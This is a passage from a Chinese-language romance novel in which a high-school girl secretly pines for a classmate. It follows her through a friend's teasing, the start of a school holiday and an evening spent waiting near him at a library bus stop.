林稚水顿了下,她本以为夏珂要说她暗恋时惟与的证据,没想到主客体反了。
林稚水开口替时惟与辩解:“他人好,给陈归帆面子。”
夏珂无情地说:“陈归帆能有什么面子?”
“第二,他刚刚跟你合照了。”
“他也跟其他人合照了,不止我一个。”
“我就看到你一个是异性!”
“那是秦思文请求的,因为我们两个都是长跑运动员。而且如果有别的女生找他合照,他应该也不会拒绝。”
这个假设无法证实,因为夏珂并没有看到有别的女生去找他。
夏珂不甘心地问:“那贾思雨只是想给他买瓶水他怎么就冷冰冰的死活不同意?”
林稚水细细想了想,“可能是贾思雨的好意让他觉得有负担?”
夏珂也觉得有道理,“那可能他喜欢不喜欢他的人,或者说,他肯定不喜欢贾思雨。”
她又贱贱地笑,“说不定时惟与就是暗恋你呢!”
林稚水的心跳漏了一拍。
她知道夏珂以上的全部猜测都不过是胡乱脑补,但依然为此感到了一丝的甜蜜。
不过面上依然要表现出不高兴的样子,林稚水似是忍无可忍,“你再乱说,我以后不给你抄答案了。”
夏珂瞬间没了脾气:“我错了稚水!我再也不胡言乱语了!其实他们都配不上你!”
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运动会之后是国庆假期,虽然只放五天,但也足够让高一高二的学生们幸福了。
毕竟高三只有三天假期。
陈东在放学前敲了敲桌子,躁动的班级勉强安静下来。
他清了清嗓子,“放假了别光想着玩,前两天把作业写掉,后三天就好好地在家里复习。别以为自己离高考还很远,认认真真准备每场考试。我丑话说在前头,月考考得不好的,别指望之后会有好日子过。”
话音刚落,放学铃敲响。
陈东的威胁瞬间被扔至身后,有人带头欢呼:“放假啦!”
教室内瞬间乱作一团。
林稚水在混乱中偷偷回头看了一眼时惟与。
再见。
她在心底悄悄说。
月考结束,她和时惟与同班同学的缘分也就结束了。
虽然有点惆怅,但林稚水还是希望时惟与能回到20班。
他应该在更好的班级,成为更好的人。
理智如此,不舍的情绪却很难压抑。
在回家的路上纠结很久,林稚水最终鼓起勇气向方梅华提议:“妈,放假我不回县里了,马上月考,我去图书馆复习方便查资料。”
方梅华虽然在别的地方独断专权,但在学习方面还是以林稚水的意见为主。因为她是小学毕业的文凭,自认在学习方面什么也不懂。
对学习好的事,方梅华一般情况下都不会拒绝,“知道了,月考好好考。”
方梅华和林国立要回一趟老家,她留了一些钱给林稚水,“别乱花,我过两天回来。”
林稚水“嗯”了一声回了房间,偷偷松了一口气。
复习是理由。
想见他,也是理由。
他会去那个图书馆吗?
林稚水不知道。
但只要有可能,她就会试一试。
第二天一早,林稚水早早来了图书馆。
她依然前往那个曾经遇见他的位置。
两张桌子,空空如也。
林稚水在她常坐的位置坐下。
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失望,有一点。
但更多的是一种平静,勉强算是意料之中吧。
她已经明白他们之间的缘分浅淡如水。
时惟与,是她生命中的可遇不可求。
林稚水止住纷乱的心思,收了心神,专心开始完成作业。
时惟与没有来,不代表月考也不会来了。
下午,林稚水学得有些头昏脑胀。她合上书本想放松会儿,隐隐约约感觉余光中有一个人的身影。
她抬起头。
时惟与坐在那。
林稚水怔然片刻,又莫名心虚地立刻低下头去。
明明日思夜想的人就在面前。
却不敢抬头看他。
林稚水心里乱糟糟的,立刻忘了自己要干什么,不自觉地在草稿纸上胡乱画着没有意义的线条。
时惟与。
画着画着,她忍不住写下他的名字。
写完之后林稚水又立刻回神,做贼心虚地用黑笔把这个名字涂成一个黑色长方形,又把草稿纸翻过来连印子也一块涂掉,绝不留下一点痕迹。
这块黑色在充满计算公式的纸上实在太过显眼,林稚水眼不见心不烦地把它压到书的底下,重新拿出一张草稿纸。
可是看着空白的草稿纸,她又不自觉在纸上想象出时惟与的容貌。
最终,她一手微微拢起在纸前作遮挡,另一只手拿了铅笔细细描摹。
林稚水小学时学过素描,是在补习班的老师那里学的。她一向作业完成的最快最对,不到时间走不了。老师看她对家里贴的画感兴趣,就教她画画打发时间,没想到林稚水在绘画方面很有天赋,进步极快。
一旦专注做事之后,时间就好像会加速。
等到天色暗了,图书馆开始逐一熄灯,林稚水才骤然回神,将手上的半成品匆忙夹进书本,收拾了东西准备离开。
时惟与已经先她一步出门了。
等到了门口,林稚水才发现时惟与竟然还未离去,坐在图书馆门口的公交车站的长椅上。
手机屏幕发出的荧荧蓝光照在他脸上,他低垂眉眼,看起来心情不佳。
林稚水在这一刻突然发现她从未见过时惟与流露出过任何正向情绪。他大部分时间都是一副平淡无波的样子,只偶尔林稚水会在他身上感受到一种悲伤的情绪。
林稚水并不舍得就这样离开,她犹豫片刻,走过去坐到了长椅的另一端。
二人各坐一端,互不打扰。
时惟与低头看手机打发时间,林稚水抱着书包则有些坐立难安了。
不知为何,在时惟与面前,她并不想把自己那个廉价的二手机拿出来。
她暗暗想,这个点已经没有公交车了,就这样傻坐着是否有些奇怪?时惟与应该是在等车来接,那她也假作在等人来接。
等时惟与走了,她再走。
林稚水低头坐着,发现路灯把他们的影子投在地上,斜斜的长长的影子几乎要靠在一起。
她盯着地上的影子看了会儿,竟然因为两个影子靠得近了些而有些高兴。
林稚水偷偷朝时惟与看去,不想被他发现了个正着,非常不幸地和偏头看过来的他对视上。
林稚水:……
她急中生智,连忙假装眼睛进了东西,一边连续眨着眼一边伸手用力揉了揉。
林稚水再不敢乱看了,老老实实坐在原地。
她心虚得厉害,不知道自己拙劣的演技有没有被看穿。自顾自紧张了一会儿,林稚水忍不住去观察时惟与的反应。
他面色平静,仍是原来那副姿势。
想来,他应该根本没放在心上吧。
林稚水暗自松了口气,又隐隐有些失望。
即使她理智上再清醒地明白一些道理,情感却是不受控的。
又等了会儿,林稚水有些纳闷,怎么接时惟与的人还没来?
她本就劳累刻苦一天,如今天色又晚了,坐着坐着,林稚水慢慢闭上了眼睛。
连着小鸡啄米好几回,林稚水骤然清醒,发现余光中的那抹亮光灭了。
她以为时惟与已经走了,往旁边看去。
时惟与半倚着站牌,姿态散漫,正偏头看着她。